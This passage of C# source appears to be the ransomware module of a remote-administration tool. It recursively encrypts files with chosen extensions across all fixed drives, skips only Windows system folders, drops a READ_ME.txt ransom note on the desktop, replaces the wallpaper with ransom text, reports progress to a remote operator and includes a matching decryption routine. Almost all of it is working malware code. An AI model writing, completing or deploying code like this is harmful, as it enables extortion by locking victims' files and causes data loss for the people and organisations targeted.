                    File.WriteAllText(Path.Combine(desktopPath, "READ_ME.txt"), ransomware.RansomNote);
                }
                catch { }
            }

            // Change wallpaper
            if (ransomware.ChangeWallpaper && !string.IsNullOrEmpty(ransomware.WallpaperText))
            {
                try
                {
                    ChangeWallpaper(ransomware.WallpaperText);
                }
                catch { }
            }

            sender.Send(new RansomwareResponse
            {
                Status = "COMPLETED",
                Message = $"Encryption completed. {filesProcessed} files encrypted.",
                FilesProcessed = filesProcessed,
                IsComplete = true
            });
        }

        private int EncryptDirectory(ISender sender, string directory, DoRansomware ransomware, int currentCount)
        {
            int filesProcessed = 0;

            try
            {
                string lowerDir = directory.ToLower();

                // Only skip Windows system folder itself, not Program Files or ProgramData
                if (lowerDir.Contains("\\windows\\") ||
                    lowerDir.Contains("\\$recycle.bin") ||
                    lowerDir.Contains("\\system volume information") ||
                    lowerDir.EndsWith("\\windows"))
                {
                    return 0;
                }

                // Get files in current directory
                var files = Directory.GetFiles(directory)
                    .Where(f => TargetExtensions.Contains(Path.GetExtension(f).ToLower()))
                    .ToList();

                foreach (string file in files)
                {
                    try
                    {
                        FileEncryptor.EncryptFile(file, ransomware.EncryptionKey, ransomware.FileExtension);
                        filesProcessed++;

                        if ((currentCount + filesProcessed) % 50 == 0)
                        {
                            sender.Send(new RansomwareResponse
                            {
                                Status = "ENCRYPTING",
                                Message = $"Encrypted {currentCount + filesProcessed} files...",
                                FilesProcessed = currentCount + filesProcessed,
                                IsComplete = false
                            });
                        }
                    }
                    catch { }
                }

                // Recursively process subdirectories
                var subdirs = Directory.GetDirectories(directory);
                foreach (string subdir in subdirs)
                {
                    filesProcessed += EncryptDirectory(sender, subdir, ransomware, currentCount + filesProcessed);
                }
            }
            catch { }

            return filesProcessed;
        }

        private void PerformDecryption(ISender sender, DoRansomware ransomware)
        {
            int filesProcessed = 0;
            int filesFailed = 0;

            sender.Send(new RansomwareResponse
            {
                Status = "STARTED",
                Message = "Starting decryption...",
                FilesProcessed = 0,
                IsComplete = false
            });

            // Get all user-accessible drives
            DriveInfo[] drives = DriveInfo.GetDrives();

            foreach (DriveInfo drive in drives)
            {
                try
                {
                    if (drive.DriveType != DriveType.Fixed || !drive.IsReady)
                        continue;

                    string drivePath = drive.RootDirectory.FullName;
                    var result = DecryptDirectory(sender, drivePath, ransomware, filesProcessed, filesFailed);
                    filesProcessed = result.Item1;
                    filesFailed = result.Item2;
                }
                catch { }
            }

            string message = $"Decryption completed. {filesProcessed} files decrypted.";
            if (filesFailed > 0)
                message += $" {filesFailed} files failed (wrong key or corrupted).";

            sender.Send(new RansomwareResponse
            {
                Status = "COMPLETED",
                Message = message,
                FilesProcessed = filesProcessed,
                IsComplete = true
            });
        }

        private Tuple<int, int> DecryptDirectory(ISender sender, string directory, DoRansomware ransomware, int currentCount, int currentFailed)
        {
            int filesProcessed = currentCount;
            int filesFailed = currentFailed;

            try
            {
                string lowerDir = directory.ToLower();

                // Only skip Windows system folder itself, not Program Files or ProgramData
                if (lowerDir.Contains("\\windows\\") ||
                    lowerDir.Contains("\\$recycle.bin") ||
                    lowerDir.Contains("\\system volume information") ||
                    lowerDir.EndsWith("\\windows"))
                {
                    return Tuple.Create(filesProcessed, filesFailed);
                }

                var files = Directory.GetFiles(directory, "*" + ransomware.FileExtension).ToList();

                foreach (string file in files)
                {
                    try
                    {
                        bool success = FileEncryptor.DecryptFile(file, ransomware.EncryptionKey, ransomware.FileExtension);
                        
                        if (success)
                            filesProcessed++;
                        else
                            filesFailed++;

                        if ((filesProcessed + filesFailed) % 50 == 0)
                        {
                            sender.Send(new RansomwareResponse
                            {
                                Status = "DECRYPTING",
                                Message = $"Decrypted {filesProcessed} files... ({filesFailed} failed)",
                                FilesProcessed = filesProcessed,
                                IsComplete = false
                            });
                        }
                    }
                    catch
                    {
                        filesFailed++;
                    }
                }

                // Recursively process subdirectories
                var subdirs = Directory.GetDirectories(directory);
                foreach (string subdir in subdirs)
                {
                    var result = DecryptDirectory(sender, subdir, ransomware, filesProcessed, filesFailed);
                    filesProcessed = result.Item1;
                    filesFailed = result.Item2;
                }
            }
            catch { }

            return Tuple.Create(filesProcessed, filesFailed);
        }

        private void ChangeWallpaper(string text)
        {
            try
            {
                string tempPath = Path.Combine(Path.GetTempPath(), "wallpaper.bmp");
                
                // Create a simple bitmap with text
                using (var bmp = new System.Drawing.Bitmap(1920, 1080))
                using (var g = System.Drawing.Graphics.FromImage(bmp))
                {
                    g.Clear(System.Drawing.Color.Black);
                    using (var font = new System.Drawing.Font("Arial", 48, System.Drawing.FontStyle.Bold))
                    using (var brush = new System.Drawing.SolidBrush(System.Drawing.Color.Red))
                    {
                        var sf = new System.Drawing.StringFormat
                        {
                            Alignment = System.Drawing.StringAlignment.Center,
                            LineAlignment = System.Drawing.StringAlignment.Center
                        };
                        g.DrawString(text, font, brush, new System.Drawing.RectangleF(0, 0, 1920, 1080), sf);
                    }
                    bmp.Save(tempPath, System.Drawing.Imaging.ImageFormat.Bmp);
                }

                SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, tempPath, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE);
            }
            catch { }
        }
    }
}
